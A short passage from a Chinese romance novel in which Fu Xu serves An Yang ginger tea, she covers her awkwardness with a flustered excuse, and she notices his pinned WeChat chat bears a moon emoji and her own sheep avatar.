琥珀色的茶水在玻璃壶里咕噜咕噜冒着泡,她过去时,傅栩正好放下手机。 “凉会儿再喝。”他关火,转身去取了两个杯子来。 四下太过安静,他开关柜门的声音格外明显,安漾觉得不自在。 她想发出点声音来打破这沉默,于是隔了许久才回应他刚才的话,说了声好。 傅栩把姜茶倒进杯里,语意带笑,“好长的反射弧。” 安漾闻声抬头,恰好与他目光交汇。 她一手接过玻璃杯,刚煮好的姜茶带着炙热的温度,自手心传导到全身。明明一口都还没喝,她已经被这热气熏得晕乎乎的。 “怎么了?”见她一动不动,傅栩问。 “......我在用你的瞳孔照镜子。” 她绞尽脑汁找了个烂借口糊弄过去,眼神在屋子里胡乱飘着,一低头却无意间瞥见傅栩放在流理台上的手机。 他忘了熄屏,亮着的屏幕还停留在微信界面上。 置顶的那个对话框备注着月亮的emoji,旁边的头像是她随手画来用了多年的小羊。